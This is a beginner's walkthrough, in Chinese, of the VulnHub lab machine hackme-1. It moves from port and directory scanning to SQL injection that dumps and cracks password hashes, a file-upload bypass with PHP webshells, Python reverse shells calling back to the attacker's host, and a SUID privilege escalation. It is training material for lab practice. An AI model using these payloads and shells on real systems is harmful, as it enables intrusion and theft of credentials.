靶机渗透 hackme-1(详解,适合新手)
Posted 君莫hacker
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了靶机渗透 hackme-1(详解,适合新手)相关的知识,希望对你有一定的参考价值。
靶机hackme-1的目录
0x01靶机描述
靶机基本信息:
链接 | https://www.vulnhub.com/entry/hackme-1,330/ |
---|---|
发布时间 | 18 Jul 2019 |
作者 | x4bx54 |
难度 | 简单 |
靶机基本介绍:
“hackme”是一个初学者难度等级框。目标是通过web漏洞获得有限的权限访问,然后权限升级为root。这个实验室是为了模拟现实生活环境而创建的。
“hackme”使用DHCP,并且在mysqld可能自行关闭的情况下(非常罕见的情况),尝试强制重新启动机器,然后机器应该可以正常工作。
与VMware相比,VirtualBox的效果更好
0x02环境搭建
-
下载并导入靶机
打开vmware–文件–打开–hackme.ova
-
查看网络适配器
将靶机网络适配器改为NAT模式
-
启动靶机
点击 ▶靶机,开启成功
0x03靶机渗透
一、 信息收集
- 主机发现
arpscan -l
- 端口扫描
masscan --rate=100000 -p 0-65535 192.168.30.207
- 详细扫描
nmap -T4 -sV -O -p 22,80 192.168.30.207
- 目录扫描
(1) dirb目录扫描
dirb http://192.168.30.207 /usr/share/dirb/wordlists/big.txt
(2)gobuster目录扫描
gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://192.168.30.207 -t 30
- 网站指纹识别
whatweb http://192.168.30.207
二、 漏洞挖掘
-
登录主页发现登录页面,而且还可以注册用户
-
注册用户admin 密码123456
-
登录admin用户
单击search可以进行查看到很多的书名
-
验证sql注入
Windows OS' and 1=1#
Windows OS' and 1=2#
由以上验证出此处存在字符型(单引号)sql注入
- 判断字段数
Windows OS' order by 3#
Windows OS' order by 4#
可以看出这里字段数为3
- 判断显示位置
-1' union select 1,2,3#
- 查看当前数据库
-1' union select database(),2,3#
- 查看webapphacking库所有的表
-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='webapphacking'#
- 查看users表中所有的列
-1' union select group_concat(column_name),2,3 from information_schema.columns where table_name='users'#
10.查看表中user,password
-1' union select group_concat(user),group_concat(pasword),3 from users#
- 将得到密码进行MD5解密
user1 5d41402abc4b2a76b9719d911017c592 hello
user2 6269c4f71a55b24bad0f0267d9be5508 commando
user3 0f359740bd1cda994f8b55330c86d845 p@ssw0rd
test 05a671c66aefea124cc08b76ea6d30bb testtest
superadmin 2386acb2cf356944177746fc92523983 Uncrackable
test1 05a671c66aefea124cc08b76ea6d30bb testtest
admin e10adc3949ba59abbe56e057f20f883e 123456
123456 e10adc3949ba59abbe56e057f20f883e 123456
这里只截了三张图,其他的解密也一样,后面两个用户(admin,123456)是我自己刚刚在网页注册的
-
使用superadmin用户登录
-
发现文件上传点
- 上传phpinfo()进行验证
制作假图片头
GIF89a<?php phpinfo(); ?>
上传前先开启burp抓包
- 拦截-修改后缀-send,我们可以从回包中看出文件已将上传至文件夹
- 信息收集时,目录扫描出的路径
http://192.168.30.207/uploads/
访问路径
http://192.168.30.207/uploads/phpinfo.php
该上传点存在文件上传漏洞,并且假图片头与图片马均可以
三、 漏洞利用
反弹shell方法一:一句话木马,蚁剑连接
- 制作图片马
<?php @eval($_POST[shell]); ?>
copy a.jpg/b + tu.php/a b.jpg
-
同上面上传phpinfo.jpg一样,上传图片马
抓包–修改后缀–发送,可以看出上传成功
-
访问上传的图片马
http://192.168.30.207/uploads/b.php
- 蚁剑连接成功
5. 上传反弹shell脚本
将反弹shell放在网站根目录下,开启http服务
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.30.182",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
service apache2 start
- 在蚁剑终端上下载
wget http://192.168.30.182/shell.py
-
kali监听1234端口
-
运行
-
反弹shell成功
反弹shell方法二:system命令执行
- 制作图片马
<?php @system($_GET([cmd]);?>
合成图片马(与方法一合成方法相同)
copy a.jpg/b + sysexec.php/a sysexec3.jpg
- 同上面上传phpinfo.jpg一样,上传图片马
抓包–修改后缀–发送,可以看出上传成功
- kali开启监听7777端口
nc -vnlp 7777
- 在浏览器借助hackbar进行访问上传上去的反弹shell脚本
http://192.168.30.207/uploads/stsexec3.php?cmd=python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.30.182",7777));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"])'
5. 反弹shell成功
四、 提权
- 识别所存在的用户
cat /etc/passwd | grep /bin/bash
- 在/home/legacy路径下发现二进制文件touchmenot,执行二进制文件
./touchmenot
提权成功
0x04实验总结
这个靶机考察了目录搜集,sql注入,文件上传漏洞,反弹shell等内容,在渗透的过程中需要灵活应对每一个环节,靶机难度比较简单
以上是关于靶机渗透 hackme-1(详解,适合新手)的主要内容,如果未能解决你的问题,请参考以下文章